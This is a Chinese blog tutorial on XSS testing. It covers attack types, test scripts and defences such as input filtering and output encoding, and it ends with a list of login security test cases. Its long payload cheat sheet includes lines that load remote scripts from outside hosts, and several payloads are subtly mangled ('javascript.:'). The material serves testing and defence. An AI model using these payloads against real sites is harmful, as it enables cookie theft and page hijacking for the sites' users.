软件安全测试-Web安全测试详解-XSS攻击

目录

1. XSS攻击

1.1 XSS攻击原理

1.2 XSS能做什么

1.3 XSS三种类型

1.4 XSS三种途径

1.5 XSS测试方法

1.5.1 查看代码

1.5.2 准备测试脚本

1.5.3 自动化测试XSS漏洞

1.5.4 XSS注入常用语句

1.6 XSS漏洞防范h3

1.6.1 对输入和URL参数进行过滤(白名单和黑名单)

1.6.2 HTML实体编码

1.6 3 对输出内容进行编码

1.6.4 浏览器中的XSS过滤器


1. XSS攻击

1.1 XSS攻击原理

XSS攻击通常指的是通过利用 网页 开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。 这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。 攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 

1.2 XSS能做什么

  • 窃取用户Cookie
  • 后台增删改文章
  • XSS钓鱼攻击
  • 利用XSS漏洞进行传播和修改网页代码
  • XSS蠕虫攻击
  • 网站重定向
  • 获取键盘记录
  • 获取用户信息等

1.3 XSS三种类型

1.反射型XSS

反射型XSS,又称非持久型XSS。也就是攻击相当于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行响应的脚本。

2.存储型XSS

存储型XSS,也就是持久型XSS。攻击者上传的包含恶意js脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含了该恶意js脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这种攻击类型一般常见在博客、论坛等网站中。

3.DOM型XSS

1.4 XSS三种途径

第一种:对普通的用户输入,页面原样输出,用户通过对JSCODE的伪装,经过一些操作就会跳出一个木马界面,取得登录用户的Cookie.


第二种:在代码区里有用户输入的内容
原则就是,代码区中,绝对不应含有用户输入的东西。


第三种:允许用户输入HTML标签的页面。
用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。

1.5 XSS测试方法

1.5.1 查看代码

查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量

  1. <%

  2. strUserCode = Request.QueryString(“code”);

  3. strUser = Request.Form(“USER”);

  4. strID = Request.Cookies(“ID”);

  5. %>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

 1.5.2 准备测试脚本

  1. "/><script>alert(document.cookie)</script><!--

  2. <script>alert(document.cookie)</script><!--

  3. "onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

1.5.3 自动化测试XSS漏洞


现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

1.5.4 XSS注入常用语句

  • <script>alert('hello,gaga!');</script> //经典语句,哈哈!
  • >"'><img src="javascript.:alert('XSS')">
  • >"'><script>alert('XSS')</script>
  • <table background='javascript.:alert(([code])'></table>
  • <object type=text/html data='javascript.:alert(([code]);'></object>
  • "+alert('XSS')+"
  • '><script>alert(document.cookie)</script>
  • ='><script>alert(document.cookie)</script>
  • <script>alert(document.cookie)</script>
  • <script>alert(vulnerable)</script>
  • <s&#99;ript>alert('XSS')</script>
  • <img src="javas&#99;ript:alert('XSS')">
  • %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
  • %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
  • %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
  • %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
  • <script>alert('Vulnerable')</script>
  • a.jsp/<script>alert('Vulnerable')</script>
  • "><script>alert('Vulnerable')</script>
  • <IMG SRC="javascript.:alert('XSS');">
  • <IMG src="/javascript.:alert"('XSS')>
  • <IMG src="/JaVaScRiPt.:alert"('XSS')>
  • <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
  • <IMG SRC="jav&#x09;ascript.:alert('XSS');">
  • <IMG SRC="jav&#x0A;ascript.:alert('XSS');">
  • <IMG SRC="jav&#x0D;ascript.:alert('XSS');">
  • "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
  • <IMG SRC=" javascript.:alert('XSS');">
  • <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
  • <BODY BACKGROUND="javascript.:alert('XSS')">
  • <BODY ONLOAD=alert('XSS')>
  • <IMG DYNSRC="javascript.:alert('XSS')">
  • <IMG LOWSRC="javascript.:alert('XSS')">
  • <BGSOUND SRC="javascript.:alert('XSS');">
  • <br size="&{alert('XSS')}">
  • <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
  • <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
  • <IMG SRC='vbscript.:msgbox("XSS")'>
  • <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
  • <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
  • <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
  • <TABLE BACKGROUND="javascript.:alert('XSS')">
  • <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
  • <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
  • <DIV STYLE="width: expression(alert('XSS'));">
  • <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  • <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
  • <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
  • <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
  • <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
  • <BASE HREF="javascript.:alert('XSS');//">
  • getURL("javascript.:alert('XSS')")
  • a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
  • <XML SRC="javascript.:alert('XSS');">
  • "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
  • <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
  • <IMG SRC="javascript.:alert('XSS')"
  • <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
  • <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

1.6 XSS漏洞防范h3

1.6.1 对输入和URL参数进行过滤(白名单和黑名单)


检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,发现存在特殊字符,将这些特殊字符过滤或者编码。

1.6.2 HTML实体编码


字符串js编码转换成实体html编码的方法(防范XSS攻击)
https://www.cnblogs.com/dearxinli/p/5466286.html

1.6 3 对输出内容进行编码


在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击
 

1.6.4 浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS

参考文章:

(8条消息) web安全详解(渗透测试基础)_小高写BUG的博客-CSDN博客_web安全 课题内容详解

(8条消息) XSS注入测试_探岳精神的博客-CSDN博客_xss注入测试

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
以下是一些针对登录功能的软件安全测试用例示例: 1. 验证合法用户:使用正确的用户名和密码进行登录,确保系统能够成功验证合法用户的身份,并允许其登录。 2. 验证非法用户:使用错误的用户名和密码进行登录,确保系统能够正确地拒绝非法用户的登录尝试,并给出适当的错误提示。 3. 密码安全性:测试系统对于密码的安全性要求,包括密码长度、复杂性要求(如包含字母、数字和特殊字符等)等。 4. 账号锁定:测试系统在多次登录失败后是否会锁定账号,以防止暴力破解攻击。 5. 弱密码检测:测试系统是否能够检测和阻止使用弱密码(如常见的密码、连续字符等)进行登录。 6.会话管理:测试系统在用户登录后如何管理会话,包括会话超时、注销等功能。 7. 跨站脚本攻击(XSS)防护:测试系统是否对输入的用户名和密码进行适当的转义和过滤,以防止XSS攻击。 8. SQL注入防护:测试系统是否对输入的用户名和密码进行适当的过滤和参数化处理,以防止SQL注入攻击。 9. 强制访问控制:测试系统是否正确地实施访问控制策略,只允许授权用户访问相关资源。 10. 多因素身份验证:测试系统是否支持和正确实施多因素身份验证,如短信验证码、指纹识别等。 以上仅是一些示例,具体的测试用例应该根据具体的系统和安全要求进行定制和扩展。同时,还应该考虑其他安全测试方面,如会话劫持、密码重置功能、安全日志记录等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

全栈开发与测试

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值